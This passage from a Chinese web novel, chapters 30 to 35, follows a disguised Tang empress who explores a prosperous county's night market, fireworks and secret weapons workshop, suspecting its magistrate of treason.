奈何君要臣死,臣不得不死。 左右环顾一圈后,李牧看到个玩鞭子的老汉,正从人群中走出,来到路边花坛坐下休息。 见此,他快步走上前,来到老汉身边。 “老丈,请问你刚才这是在?” “我等初次来青尧县,未曾见过这景象,不知可否解惑?” 老汉抬起头看向李牧,见到他满脸好奇,又身穿绸缎,没好气的翻了个白眼。 “老兄弟,我们这是广场舞。” “你们外乡人不懂,看到那些大姑娘小千金没有?那都是来跳舞的!” “看看这身段,哎哟,我要是年轻二十岁,我也凑过去。” 李牧满脸黝黑,他问的是这个么? 只是这广场舞,到底是什么东西,怎么听着如此古怪? 第三十章 夜色下的青尧县 “为何跳舞要在如此地方?” 李牧再次追问,他还是不理解,唱歌跳舞这些,不应该在家中,怎么会跑到外面来招摇。 老汉闻言,又挥挥手,露出了感叹模样。 “一个人多没意思,许多人白日做工,忙着生计,到了晚上才有空闲。” “大家在这里跳跳舞,扭扭身体,不但能和邻里关系和睦,也能强身健体,这岂不是好事?” “还有那些大姑娘小千金,你可别看人家扭的漂亮,你要是凑上去,人家还不乐意,也只有我们许大人,能让这些小姑娘们倒追。” 老汉满脸都是羡慕,说道女人的时候,眼底都开始放起亮光。 从交谈中,李牧也大概明白怎么回事。 这所谓的广场舞,就是在广场上跳舞,而且不是一个人,至于怎么跳,那就是个人的想法。 人多汇聚到一起,大家各抒己见,最终编成舞,不但可以强身健体,还能享受生活。 老汉说完后,喝了口水,又提起鞭子,往广场中走。 “老兄弟,你要不要也来玩玩?” “不了不了,谢谢。” 李牧连连摆手,那鞭子名叫响鞭,抽动时候可以发出“啪啪”的声音,每一次挥动,都需要巨大力气。 周围不仅有玩响鞭,还有抖控住,玩陀螺的,各种器具不少,大部分都是老人,也有部分是年轻人,或者孩童。 眼前根本不是邪神祭祀,也不是巫蛊邪术,而是青尧县百姓在享受自己的生活。 重新回到秦曦身边,李牧将事情原委全部道出。 秦曦攥紧粉拳,青尧县百姓丰衣足食,如今又如此逍遥自在,反观长安城内还有不少乞丐,两京之地更是年年有流民。 如此种种的差距,让秦曦深感无力。 她第一次感觉到,人与人之间的差距,这不仅是金钱和物质方面,还有认知和精神。 难怪青尧县百姓,能说出“少年强,则国强”! “小姐,此法甚好,可惜!” 可惜什么,李牧心中清楚,秦曦也清楚,连蒙武都能感受到巨大差距。 如果有朝一日,大唐处处都是如此,那才是真正的盛世! “齐家治国平天下,青尧县太小,大唐有百姓五千万,此地还是太小。” 秦曦叹了口气,看着远处灯火通明的广场,内心感慨万千。 “许攸或许是个奇才,但心性如何,不能如此早早下定论!” “大唐需要贤臣,需要能人,不需要蛀虫,也不需要国贼!” “此景若是以出卖家国利益为前提,那不要也罢!” 说到这里,秦曦神色陡然变得冰冷。 “倘若我真的发现,此獠必定要死!” 李牧无奈叹息,他都觉察到青尧县不一般,眼前的天子怎么可能觉察不到? 只不过皇家威严,天子的尊严,让秦曦放不下脸面,不愿意说一句,“我不如他”! 夜色依旧,广场上持续了半个时辰,人群也逐渐散去。 秦曦等人见状,也朝着客栈而去。 回到客栈,小公主在侍女的伺候下,已经熟睡,倒是秦曦内心依旧不平静。 看着窗外的月色,她突然站起身。 “去把蒙将军和李相找来。” “是,陛下!” 不多时,房间内多了两人,侍女则是站在门口,帮忙盯梢, 李牧看着眼前的秦曦,眼神变得深邃,显然他也猜到,今天所见所闻,给这位天子带来了极大的冲击。 “陛下,可是有什么打算?” 秦曦没说话,缓缓走到窗户边。 窗户是两层,内层是纸浆做的白纸,外层则是竹子制成的窗户架。 透过窗户,可以看到外面依旧灯火通明,隐约可以看到人流在继续流动。 “今日白天,朕大开眼界,长了坊救治鳏寡孤独穷困者,学堂弟子口中“少年强则国强”,医馆价格低廉,但这一切都仿佛是镜花水月!” 房间内只有秦曦淡淡的声音,李牧和蒙武都没开口。 不仅是秦曦惊讶,两人也惊讶,长安城也算富庶,来之前两人都以为是天下最富有的地方,可对比青尧县,长安城就是贫民窟。 “朕打算看看,这青尧县到底有什么秘密!” “许攸很有可能在演戏,演一出大戏,以欺世盗名的手段,蒙骗所有人!” “这江山是朕的,是大唐子民的,而不是他许攸,更不是他能随意出卖,给外族践踏!” “蒙武,你立刻招三十名好手,我等兵分五路,夜探青尧!” 秦曦还是决定,将青尧县给查个底朝天。 白天种种始终让她觉得不对劲,晚上那些人脸上的笑容,也看的她毛骨悚然。 倘若这一切,都是故意演出来的,那背后之人的手段,当真是恐怖至极。 李牧有心想阻止,看到秦曦如此神色,只能幽幽叹了口气。 三人轻装简行,连秦曦都换成了男子装扮,手持一把折扇,远远看上去,英气十足。 两名墨麟军高手,则化作狗腿子,跟在她身侧,至于蒙武和李牧,则依旧原来模样。 五人行走在夜色下,刚走出去百米远,便停下脚步。 远处十几名孩童跑过去,一个个喊着口号,见到几人站在角落,还热情的打招呼。 随着孩童口号声消散,几人视线也被拉远,远处人流攒动,让秦曦等人都瞪大双眼。 “小姐,这似乎有点不对劲!” 远处天空笼罩在一团橘色之中,那样子很像是失火走水。 秦曦脸上也露出担忧,看到眼前的景象,急忙大声吩咐。 “快!快救火!” 如此密集的街道,一旦失火,那危险可不小,尤其是在这深夜之中。 几人不敢怠慢,脚下步伐飞快,穿过长长接到,随后几人就傻了。 出现在他们面前是一条看不到尾的街道,就到两侧摆满了各色摊位,人流汇聚成长河,在街道上涌动。 放眼看去,各种小吃不断浮现,食物的芳香顺着空气,涌入到几人鼻腔。 入口位置,还有两个戏台班子,以及一个巨大帐篷。 秦曦眼皮狂跳,她居然看到了一头猛虎,只不过那虎被人用铁链拴住,在给人表演钻火圈。 看着眼前的景象,她脑海内彻底陷入空白,连呼吸都彻底停滞。 就在这时候,一道清脆的声音,打断了她的思考。 “姐姐,吃糖不?三文钱一串,十文三串。” 第三十一章 夜晚大调查 秦曦机械扭过头,过了好几秒,这才反应过来。 “你喊我姐姐?” 卖糖的小姑娘甜甜一笑,指着她鼓鼓囊囊的前胸,理所当然的回答。 “姐姐,你这样上街不行,人家都会看出来你是女孩子。” “要用内衣勒住,这样就不会明显。” 秦曦看小姑娘说的头头是道,眼底却泛起了寒光。 一个七八岁的小姑娘,怎么会懂乔装易容的本事,定然是有人在背后教导,而这个背后的人,十有八九就是青尧县县令。 倘若是真的,那这一切可都太吓人。 数十万百姓暗中训练,不但精通伪装,还有不俗的身手,那目的也不言而喻。 就在她愣神时,旁边响起了另外一道声音。 “小丫头还不回来,尽胡闹!” “几位客官,我看你们站在这里也不少时间,是不是不知道吃什么?” “看看我家卤味,这可是许大人吃了都说绝的美味!我保证你们吃了,还想吃第二次!” 说话间,站在摊位后的妇人走出,手里拿着个蒲扇,满脸都是热情笑容。 “客官,我家烧烤也是一绝,你们来尝尝看,不好吃不要钱!” 不等几人张口,卤味那种厚重的味道,瞬间飘散到秦曦等人鼻翼间。 旁边的烧烤味道也霸道,比起卤味的厚重,烧烤中的油烟气息,以及那种辛辣和孜然混合香气,更是致命。 秦曦呆呆看向这一家三口,夫妻二人操持不同的营生,连小姑娘都在卖糖。 虽说她是皇帝,吃过的美食数不胜数,但如此味道刺激的美食,她却从未见过。 妇人面前的锅中,色泽通红,油脂在灯火下,泛起一阵阵涟漪,旁边还有灰的,白的,甚至还有一口大铁锅,里面卤着各种“青菜”。 远远看上去,就仿佛是一锅杂烩,可旁边却又不少食客,正端着小碗,在桌子边大快朵颐。 光是那诱人色泽,就引得几人肚子中馋虫不断翻腾。 至于旁边的烧烤,秦曦只是瞥了眼,视线就彻底挪不开。 中午那顿全牛宴,她至今历历在目,因为中午吃的太饱,晚上他们也没吃,谁知道这时候遇到如此霸道的美食。 “几位尝尝看,不好吃不要钱!” 在秦曦还愣神时候,她手里已经多了两串肉串,以及一个麻辣鸭脖。 烧烤并不少见,在场众人也不是那毫无见识的人,只是这肉串和他们吃的,可太不一样。 秦曦喉咙中唾液滚动,肚子内的馋虫更是不停抗议,在如此时刻,烧烤就是一把尖刀,狠狠扎在她心口上。 “掌柜,这就是卤味和烧烤?” “为何这味道如此刺鼻,让人一见就食欲大开?” 妇人也不含糊,主动开始介绍她递上的美食。 “客官,这是我家独门秘方麻辣鸭脖,你别看它就这点,可是开胃的很。” “鸭脖辣而不膻,不喜好吃辣的,我这里还有风干,以及甜味,其他卤菜也有,什么猪手、鸭舌鸭掌都有。” “你要是觉得这吃不惯,旁边烧烤也是我家的,看到那肉串没有?” “那上面的小料叫做孜然,是胡族那边传来,那些白色的是芝麻,这些可都是许大人亲自捣鼓的美味。” 秦曦看着手里的肉串,再看周围食客那狼吞虎咽模样,也不由食指大动。 既然来了,那必然要好好的“调查”! “行,我们五个人,给我先来点卤菜,再来些烧烤,少些辣。” 妇人一看,除了秦曦和李牧,剩余三人都是大块头。 大块头就代表能吃,当即也不含糊,脸上堆满笑容。 “客官,你第一次吃,我建议各种口味都来点!我先给你来点肉食,再给你拌点凉菜和卤菜,保证你吃的开心!” “可以,有酒吗?” 吃肉不喝酒,还是少了那么点味道。 白天有小公主在,秦曦便没有张口,现在剩余的四人,喝点酒也不碍事。 妇人脸上的笑容更加浓厚。 “客官,你要哪种酒?” “我们这里有冰果汁、冰小麦汁、冰果酒,还有常温的散白。” 说话间,妇人指向身后几个特殊容器,每个差不多有半人高,说是桶,又不像是,但上面都有个塞子。 秦曦几人面面相觑。 几人也不是第一次喝酒,寻常喝酒都是问要什么酒,类似花雕、烧刀子等,谁知这青尧县开口就是冰果汁。 几人同时想到了许攸,尤其在听到冰果汁时,眼底射出一道道精光。 青尧县地处西北,十月过后就是寒冬,而如今才七月,正是烈阳高悬,能热死人的时候。 冰,只有贵族王室才有。 皇城内的冰,也都是冬天取,到夏天基本上十不存一,可反观在青尧县,似乎这个冰很常见。 莫非,这都是许攸的妖法? 没办法,现在秦曦已经不把许攸当人,从开始的税赋,到现在的吃食,她总感觉许攸不是人,是个通敌叛国的国贼。 “几位,我推荐你们喝点冰的,也不贵,一杯三文钱而已。” “尤其是那小麦汁,可是许大人赐给我等的秘法,这炎炎夏日一口美味,一口小麦汁,那日子深陷也不换!” 美妇说着话,伸手在巨大容器旁边拍拍,随后拿起个巨大杯子,塞到容器下面。 咕噜噜。 金黄色液体顺着管道飞溅,很快就是一大杯小麦汁出现在秦曦等人面前。 冰凉的小麦汁,在空气中都在散发寒气,如此一大杯下肚,一身疲倦都会彻底烟消云散。 此刻她也心动了,许攸这个国贼太过神秘,她鼻息好好调查。 “这小麦汁来五杯,再来两斤散白。” “客官你稍等,马上就好。” 妇人很识趣,把酒打好后,送上一盘凉菜,还有一盘红艳艳的西瓜,这才转身准备卤菜和烧烤。 看着桌上的西瓜和凉菜,秦曦美眸不由瞪大。 大唐也有西瓜,但比起眼前的西瓜,不但色泽差了很多,而且也不好吃,可看眼前的西瓜,那是怎么看怎么好吃! “几位,你们卤菜和烤肉来了!” 不多时,桌上满满当当摆满了各种美味,看的人口水直流。 秦曦拿起一串肉串,在面前端详许久,这才试探性的咬下。 只是那么一口,她便感觉到舌头已经不属于自己。 “好……好漂亮!” 秦曦呆滞的看向天空,手中肉串“啪”的砸在桌上。 第三十二章 给女帝推销小麦汁 “小姐,你怎么了?” 喧闹声中,几人并未听到什么古怪动静,耳边全是泚啦油烟声音,还有摊贩的吆喝,以及周遭人群闲聊。 李牧正在打量手里的鸭脖,刚打算张口尝试,却看秦曦手里的烤串掉落,吓得他急忙放下鸭脖。 秦曦则是呆呆看向远处天空,几息后,见天空中没任何异状,这才低下头。 刚才那绝美的场景,是她此生第一次见,哪怕是她在皇宫内,也未曾见到过。 千万朵七彩花朵,在夜空中绽放,犹如仙境一般。 那美景出现的快,去的也快,转瞬间便彻底消散,再也不见踪影。 她等了好几息,也看不到那美景出现,直到耳畔传来李牧焦急的呼唤,她这才回过神。 “无视,刚才被烫到,你们也吃。” 为了掩饰自己的失态,秦曦慌乱的拿起桌上烤肉,胡乱塞进口中,又跟着端起桌上的小麦汁。 冰凉带着点苦涩的小麦汁,在口中炸开。 一股寒意顺着味蕾散开,整个口腔都被小麦汁的冰凉给席卷,随后就是那小麦汁最原始的味道,微微涩苦中,还有一丝甜味。 如此独特的酒,瞬间征服了秦曦。 秦曦不爱喝酒,最主要的原因是,清酒味道很不好,入口清冽,辛辣,很刺激嗓子。 而果酒和浊酒,总是带着点苦涩,让她难以下咽。反观小麦汁,有中清冽的感觉,但并不辛辣,涩苦中不带着那种刺激,有清酒和浊酒的体验,但又不同于二者。 一口酒下肚后,她内心的慌张和不安全部消散,有的只是享受。 “掌柜,这小麦汁,难不成真的是那荞麦所酿造?” 秦曦放下酒杯,杯子差不多有一尺高,直径也有一寸,如今杯中的小麦汁,已经被喝下大半。 闻言,妇人干笑一声。 “客官,你这道是为难我,这酒是我们从酒厂进的货,至于如何酿造,我个妇道人家,可不懂这些。” 秦曦满脸失望,她敢确定,这小麦汁肯定和许攸有关,只是不知道如何酿造。 就在这时候,那妇人再次出言。 “不过许大人曾说过,这小麦汁确实主原料是小麦,但是还有一种似乎叫啤酒花的作物,那是从波斯传来,是几个传教士送来的宝贝。” “只要有了那啤酒花,小麦汁才能消除苦涩味道,不然那味道,可进不了口。” “客官你们可不要乱糟蹋粮食,这可不是玩笑。” 妇人的话,反而让秦曦心头狂跳。 荞麦属于大唐内精粮,哪怕在长安城,种植的人也不多。 大唐粮食以黍米为主,荞麦为辅,但各地条件不同,有的地方把荞麦当做主食,也有的地方以黍米为主食,但荞麦一直都是上等精粮。 以精粮酿酒,此法怕是要天怒人怨,让万民唾弃! “你等以荞麦酿酒,那日常吃什么?” “我看这青尧县并未有那么多良田,这么多荞麦,不知道从何而来?” 妇人还没开口,她身边卖烧烤的男人,则露出了警惕神色。 “几位你们是什么人?怎么连这些都不知道?” 秦曦愣住了,她一个皇帝,她问问难道不应该吗? “店家你们误会了,我只是好奇,我是从长安城来这里,打算做点小买卖,这小麦汁很奇特,若是能卖到长安,必然会吸引一大批人。” 一听说她是来做生意的,夫妻二人脸上的警惕消散。 “原来如此,小麦汁如何酿造,我等并不知晓,我等只是转卖,酿造是由酒厂酿造。” “至于那些小麦和啤酒花,都是羌族在耕种,他们和许大人达成了协议。” “我们吃的是何,那就不方便告知,还请见谅。” 有古怪! 秦曦看向李牧,后者也露出了赞同的神色。 以荞麦当做酿酒材料,还让羌族去耕种,如此说来,只有一种可能,那就是许攸手里,有更好的粮种。 青尧县说大也不大,说小也不小,二三十万人,每日吃喝都是不小数目,想要支持如此大的消耗,青尧县必然有粮仓。 只可惜,眼前两个老板,已经心生警惕,继续打听下去,可能会暴露行踪。 几人干脆不再问其他,低头专心吃起桌上美味。 期间秦曦又让加了不少菜,五个人吃了快半个时辰,这才心满意足的起身。 “店家,一共多少钱?” 在她看来,这顿饭少不了几十两银子,毕竟刚刚小麦汁,她一个人就喝了三杯。 妇人走过来,仔细清点了一番,这才缓缓说了个数字。 “客官,你们一共消费了三两二钱,你们是第一次来,我给你们打九折。” “你给我二两八钱就行,剩余抹掉不用给。” 这番操作下来,果然赢得了秦曦等人好感。 秦曦反手拿出一锭银子,丢在桌上。 “不用找了,改日我再来,到时候你再给我弄点好酒好菜!” “好嘞,您慢走。” 妇人喜笑颜开,将银子拾起,又从小姑娘面前的盒子内,取出几个包好的糖,塞到了秦曦的手里。 秦曦本打算拒绝,想到在客栈的小公主,便伸手接下。 “谢谢,我……” 话音未曾落下,西方突然传来巨大的轰鸣,整个街道也随之沸腾。 “轰隆隆!” 那沉闷的声音如同惊雷,来的毫无征兆。 秦曦和李牧等人瞬间变脸,在他们身后的蒙武和两名墨麟军士卒,也都握住了腰间佩刀。 然而街道上的人流,并未因为此动静慌乱,而是仰起头看向西北方向。 又是一声巨大的轰鸣声传来,这次连地面都颤抖的更加明显。 “婆娘,你去看看是不是放烟花,这几日许大人天天说要庆祝飞升,估计又是在放烟花庆祝。” “嘿嘿,老王你说咱们许大人会不会是许仙转世,可惜没看到那白娘子,要不然咱们也能帮他斗一斗那妖僧法海。” 烧烤摊位的老板满脸促狭,他身旁不远处的食客,也开口打趣,二人从未觉得这件事是什么大事。 许仙,白娘子? 庆祝飞升? 秦曦眉头紧皱,内心生出不好预感。 “难道这许攸,当真是妖邪降世,霍乱我大唐的贼人?” “我大唐亡矣!” 第三十三章 行走的五十万 摊主见到秦曦面若死灰,还以为她被吓到,当即笑着安慰。 “这位小姐你莫要害怕,这是许大人故意捣鼓出来,最近西南的回纥族老是搞事,许大人故意用白日飞升做噱头。” “不瞒你们说,等下必定会有烟花,你们们且看好,那才是真正的漂亮!” 说到这里,妇人也跟着露出笑脸。 “几位客官你们不要担心,许大人乃是谪仙,这烟花咱们逢年过节都会有,那可是美的厉害,就好像是七彩花朵在天空上。” “咱们这些年能平安无事,可都是许大人保佑。” 秦曦脸色还是很难看,在听到妇人说的七彩花朵,她便想到之前偶然看到的景象。 在她眼中,能够震慑外族的,必然是强大军备,或者攻城伐地的神兵,可那漫天花朵,她无论如何,都想不到是能够震慑回纥的存在。 此刻西北方向的天空,果然出现了一朵朵七彩花朵,那花朵转瞬即逝,就如同在天空中生长而出的。 见此,烧烤摊的老板露出果然如此的表情。 “看看,我就知道许大人闲不住,一天天的不是在捣鼓这个,就是捣鼓那个。” “没有许大人,咱们早就成了两脚羊,捣鼓好,他越捣鼓,我就越喜欢。改明给许大人去上两炷香,让他保佑我家那小子今年能顺利毕业。” “可惜,许大人不给我们塑金身,还说犯天条,我看他就是想找借口,他不就是活神仙吗?” “可不是,太可惜了,他要是真飞升,我立马就给他修个金身,以后我世世代代,都要供奉他!” 几个食客你一言我一语,就好像许攸真的要白日飞升。 几人打趣的语气,哪怕是秦曦等人,也都能听出来。 一个县太爷,居然在百姓口中口碑如此好,甚至百姓自愿要替他修金身,这是秦曦从未听说的事情。 秦曦捏紧拳头,她内心深处愈发坚信,青尧县的县令许攸,不是什么良人,而是精通妖法的邪祟! 此等邪祟,她必定要斩除! “掌柜的,你适才说震慑回纥,难不成这七彩祥瑞,还能伤人?” 李牧也觉察到不对劲,适才他亲眼看到,那七彩花朵浮现。 明明是祥瑞,怎么会成为震慑外族的神兵? 烧烤摊老板闻言,满脸的神秘。 “老丈,你想想看,这要是不对着天,而是对着人呢?” “咱们可都是肉体凡胎,倘若要是对着你炸一下,你能受得了?” “我听我家那小畜生说,防卫军内部,还有火器营,他们稍微动动手,什么胡族蛮族,都得跪下称臣。” 说到这里,那摊主似乎想起什么,狐疑的打量着李牧。 “客官,你可是我们大唐人?” 李牧被问的满脸懵逼。 “掌柜的,我当然是大唐人,我乃是清河上尧人士,武宣末年生,如今七十有余,怎么就不是大唐人?” 烧烤摊老板稍微收起点狐疑,但还是直勾勾盯着李牧。 “我看你这老丈,不像是好人!” “许大人为国为民,以一人之力震慑西北,你们就不要乱打听,否则祸事临头,可别说我没提醒你们。” 说完,他便不再看一眼秦曦等人。 秦曦深深的吸了口气,她感觉这件事内,肯定藏有大秘密。 以一人震慑西北诸族,那肯定不可能,而许攸这个国贼妖邪手里,必然有惊天大杀器。 可惜烧烤摊的老板态度明显,他们也不好多留。 结账之后,几人的目光,都落到了西北方向。 那个位置就是刚才烟花坠落的方向,也是巨大声响来源。 五道身影缓缓消失不见,他们刚消失,烧烤摊的老板,便快速丢下手中的签子。 “婆娘你过来,我要去找姜师爷!” “那几个人不对劲,好像是许大人口中,那行走的五十万!” 妇人听到这话,脸色大变。 “什么?你可看清楚了?当真是那行走的五十万?” “肯定没错,你看他们的装扮和气度,明显是我们大唐的世家豪门所穿,全身都是绸缎。” 烧烤摊老板很笃定。 “寻常商人哪有这模样的?再看他们对烧烤卤味全然不知道,连小麦汁都好奇,还想运到长安城去卖,难道他们不知道,小麦汁会变质的吗?” “这都作罢,可他们连烟花都不知道,还敢追根问底,你说他们不是奸细,那谁是?” 周围食客也是脸色大变。 青尧县历来都有告示,凡是抓到奸细者,奖励五十万白银。 钱不钱的都是次要,如今青尧县富饶强盛,打主意的可不在少数。前些日子官府就告示,抓到了十几名外族的奸细,还当街游走了三日。 如今听到奸细,众人也都没心思继续吃东西,一个个丢下银钱,快速起身朝着秦曦等人追去。 …… 秦曦还不知道,他们几人已经被盯上,一路上行走,随着脚步的加快,周围人流越来越少。 很快他们来到了一处广场,广场不大,周遭并没有民房,只有两间青石瓦房。 瓦房四周有防卫军在巡逻,十几名士卒列成四队,来回交叉巡逻,每个人腰间都配着手弩,装扮和白天见到的执法队差不多。 广场的前方,还有个巨大告示拍。 “燃放烟花地,非开放日,请勿进入!” 皎洁月光下,告示牌上鲜红的字体,仿佛是鲜血书写,给人一种莫大寒意。 秦曦等人俯身半蹲在一面矮墙后,视线落在前方那两座青石瓦房内。 青石瓦房内似乎有人影,灯火照耀下,看的不是很真切。 一盏茶时间过去,青石瓦房的门被推开,一名身穿黑色衣服的男人,从里面缓缓走出。 在他身后还有四名士卒,士卒神情紧张,四人合力抬着个箱子正朝着前方走去。 看着那箱子,秦曦等人都屏住呼吸。 他们脑海内,不由回荡起烧烤摊老板的话。 “若是烟花对着人,肉体凡胎……” 神兵! 秦曦双眼中射出贪婪的色彩,连她自己都没察觉,她的心已经乱了,呼吸也变得急促。 若是能执掌这种神兵,天下何人敢挑战她的锋芒? 什么恶鬼邪祟,什么巨贪国贼,她秦曦,翻手便可镇压! 这宝贝,属于她秦曦的! 第三十四章 特殊实验基地 “陛下,我们可要进去?” 蒙武的话说到了秦曦的心坎上,她没丝毫犹豫,点点头朝着前方的屋子示意。 屋子并不是三人的目标,那些箱子以及那名带着箱子离开的中年人,才是他们目标。 几人贴着矮墙穿梭,不多时就来到了拐角位置。 距离屋子还有五十步距离,四周巡逻的士卒交叉来回走动,但这些对擅长战斗的蒙武而言,并非太大难题。 “咕咕!” 蒙武口中发出夜枭的叫声,一队士卒听到声音,便主动朝着声音来源方向走动。 见此,蒙武双手撑住墙头,身形闪烁,快速来到一名士卒旁边,扬起手掌掌刀精准落在走来的士卒脖颈。 其他士卒察觉不对,但已经敌不过蒙武精湛伪装技艺,挨个给放到。 “陛下,解决了!” 蒙武伸出手,冲着矮墙外的秦曦示意。 在两名墨麟军的帮助下,秦曦和李牧都翻过矮墙,快速来到蒙武身边。 此刻五人已经进入到广场内,夜色之下,五人身形穿梭,借助广场内各种设施和矮墙不断穿梭。 广场的入口,追踪而来的烧烤摊老板,满脸都是惊骇神色。 他虽然没看到蒙武动手,可五人鬼鬼祟祟的翻阅进广场,这绝对不简单。 眼前广场是逢年过节燃放烟花所在,距离广场不远位置,还有一排特殊房子,这些房子内藏有大秘密,哪怕是青尧县的百姓,也不能进入。 见到这些景象,烧烤摊老板耳畔心跳如同擂鼓,他敢确定,这五人就是行走的五十万! 念此,他不敢有任何的停留,脚下步伐加快,不是朝着广场内跑,而是朝着城卫军跑。 广场内的秦曦五人,还不知道自己等人已经暴露,随着五人的深入,巡逻队伍都顺利被解决。 “陛下,都是一些新兵,看来那许攸并未重视此地。” 蒙武对许攸也没任何好感,若不是青尧县,他也不会落到如此尴尬境界。 秦曦没说话,而是低头看了眼士卒的装扮,再次深吸一口气。 “去那边,刚才那人就是往那边走,我们过去!” 此地巡逻都是新兵,这对五人是个好消息。 在蒙武和两名墨麟军的指引下,他们很快便出现在了房屋旁边。 房屋内灯火通明,依稀可以看到之前那中年男人,正蹲在地上不知道捣鼓什么。 距离他不远处,还有几名同样装扮的匠人,也在他身侧,几人对着箱子仔细研究,又开始大声讨论。 “不行,许大人说过,添加其他金属虽然能有更多色彩,但其中化学反应未知,连他都不知道,这些不能乱来!” “试试看,咱们火器研究所,不就是研究这些,害怕丢了性命,还怎么研究?” “我赞成实验,不过还是小心点,先取些火药粉末,测试下化学反应。” 最终一名年迈的工匠话语,引起众人一致赞同。 秦曦深吸一口气,这些人满脸都是热忱,哪怕是拒绝,也不是害怕,而是担心出意外,后人无法知晓此地事情。 这是何种的执着? 若是将作监的工匠,都有如此的精神,大唐岂能不兴? 想她要打造新款铠甲,自登基到现在,都没成功,反而是青尧县的这些工匠,有如此忘我和执着精神。 视线中工匠们分开,由先前那名中年工匠,伸出手,将木箱打开。 木箱打开后,秦曦等人才发现,里面是一根根圆纸筒,纸筒被彩纸包裹,周身有细细灰色线条,以及一圈细铁丝。 铁丝被钳子剪开,从始至终中年工匠脸色都没变化,将纸筒取出一根后,他快速将其中粉末倒出。 灰色粉末倒在地上,另外一名工匠则是拿出一包银白色的粉末。 “大家都让让!” 年长工匠说了句,只留下中年工匠还站在原地,其他人已经贴近墙壁。 中年工匠伸出手,小心翼翼将粉末混合到一起,确定没有任何异常,他的脸上泛起潮红。 “记录,39号金属粉末和火药混合,常态下无任何化学反应!” “接下来是燃烧反应!” 说完,他屏住呼吸,小心翼翼将一根木炭条,给缓缓抽出。 木炭条早已被点燃,未曾点燃的一段贴近粉末,另外一头悬置在半空。 呼吸变得急促,中年工匠额头冒出细密汗珠,他的脸上露出了兴奋的光彩。 秦曦等人也捏住拳头,虽然不知道这些人在做什么,但看到他们如此凝重,几人也不由压低呼吸。 下一刻,众人只觉得眼前世界骤变,一抹刺眼的橘色光彩,伴随刺啦声,在他们面前浮现。 “不好,快跑!火焰反应剧烈,爆燃了!” 话音落下,房间大门打开,几名工匠快速冲出房间。 轰隆! 房间内就犹如山崩,爆燃反应下,顺带引燃了木箱,紧跟着反应愈发爆裂,整个房间被火光笼罩。 一股刺鼻的味道,从房间内窜出,那恐怖热浪,让所有人都心头发寒。 秦曦双拳攥紧,如此恐怖的神器,一旦投放到战场,无论是胡族还是蛮族,都要在此之下灰飞烟灭。 她!一定要得到! 房间内火焰很快被扑灭,看着黑漆漆的墙壁,秦曦再次瞪大双眼。 房间内可是有不少铁,此刻都被烧红,四周墙砖都开始焦化。 没有太大的动静,但房间内的景象,依旧在诉说先前发生一切是多恐怖。 秦曦脸色由红变白,再由白变青。 不仅是她,连李牧都满脸的凝重。 “陛下,此物怕不是烟花如此简单,如此大威力,比起攻城弩也不逞让!” 墨麟军很强,再强也是肉体凡胎,面对如此恐怖的杀伤力,墨麟军也是纸糊的。 大唐只有一万墨麟军,每年开支需要一百五十万两银子,这才能堪堪维持。 如今有如此神器,更加坚定秦曦,要得到的心。 “此物必须由朕亲自掌管!” 李牧看了眼蒙武,后者点点头。 两人都明白,秦曦动了杀心,此物必须得到手! 只可惜现在东西毁了,不过现场还有十几名工匠! 几人刚要动手,就看到为首的年长工匠,打开另外一扇屋子的门。 大门打开,蒙武伸长脖颈看去,他的脸瞬间煞白。 “陛……陛下,臣该死!” 扑通! 蒙武单膝跪地,身形止不住颤抖,那声调之中都充满了恐惧和惊骇! 第三十五章 许攸真的要反 秦曦很了解蒙武,作为大唐的上将军,曾经横扫草原,威慑八方。 如此人杰,绝不是简单的几句话,或者什么场景就能震慑,唯有让他见到太过恐怖的景象。 一间小小的房子,怎么可能有让蒙武都惊骇到失声的东西? 秦曦抬起头顺着灯火看去,只是一眼,她的身体也不自觉开始颤抖。 房间内很普通,要说有什么特殊的,那就是房间内摆满了各种兵器架,架子上有各种武器装备。 一排排铠甲整齐摆放,铠甲通体黝黑,在灯火映照下,散发出摄人寒意。 铠甲是一体式结构,还分内甲和外甲。 外甲手臂外侧有倒刺,倒刺在灯火下,不断折射出幽光,刺尖有细细毛钩,一旦被勾住,无论是人还是战马,都会被撕裂一块。 铠甲背部设有短矛背囊,前胸有胸挂,双腿战靴也造型奇特,整个铠甲把防御和杀伤力体现到淋漓尽致。 铠甲总共有三种,另外两种虽然不是如此的狰狞,但也差不多。 此外墙壁上还悬挂着手弩、长刀、长剑以及各种短枪长矛等武器。 秦曦还看到几面一人高的巨型塔盾! 塔盾制造工艺早已消失,连将作监都不知道,前朝嫌弃塔盾太过冗重,携带不方便,却不知道这是抵挡轻骑和弓箭的神器。 看着塔盾上狰狞的钩刺,秦曦感觉浑身都在颤抖,和蒙武一样,他也想到了恐怖的一件事。 这些装备显然不是给巡逻士卒所用,那就意味着,这些狰狞的装备,是给这些工匠用的。 工匠们研究的东西危险,塔盾可以防护,铠甲能保命,虽然穿戴之后操作不方便,但至少比没命的强。 “好!好!好!” 秦曦气得胸膛不断起伏,如此神兵利器,却被肆意践踏。 她的双瞳变得冰冷,周身不断散发出寒气。 “许攸,你好大的狗胆!” 李牧无奈叹息,先前他还能辩解几句,现在事实就在眼前摆着,他无论如何舌绽莲花,都无法给许攸辩解。 许攸私自打造兵甲,豢养私兵,研制攻城杀敌利器,这已经不是普通百姓。 若是有一日,许攸身披黄袍,李牧也不觉得意外。 “陛下,此事……” 李牧出于爱才,还是打算缓和下气氛,可他话还没说完,耳边传来了呼喊声。 “各单位注意,敌人就在广场内,无论死活,不可放过!” “常管事,我等搜剿奸细,尔等还请立刻做好防备!” 此话一出,那些进入到房间的工匠,立刻展现出恐怖素质。 几乎是呼吸间,每个人手持刀盾,身披铠甲,警惕的守护在房间周围。 秦曦等人神色冰寒,谁也没想到,这才一炷香时间不到,他们就被发现了。 几人一动不敢动,借助墙垛隐藏身形。 广场外出现十队士卒,每队十二人,为首的是队长。 所有人装扮统一,全都是先前看到的那套狰狞铠甲,左手紧握手弩,右手持盾,一步步朝着屋子逼近。 如此整齐划一的动作,以及浑身煞气,让几人丝毫不怀疑,这些人比起墨麟军,要更加强悍! “里面的人听着,放弃抵抗,饶尔等一命!” 话语在黑夜中飘荡,蒙武心悬到嗓子眼。 先前那些士卒,对他而言不过是杂鱼,随手都能捏死,可这些士卒给他的感觉,那是百战精锐。 每个人都和他不相上下,在兵甲的加持下,他毫无胜算。 “陛下,快走!” “他们在逼我们现身,一旦发现我们位置,会毫不犹豫扣动手弩!” 秦曦也明白,身侧那些工匠早已身穿护甲,不是他们能够劫走。 可惜那些神器,也都毁在火中,让她心头滴血。 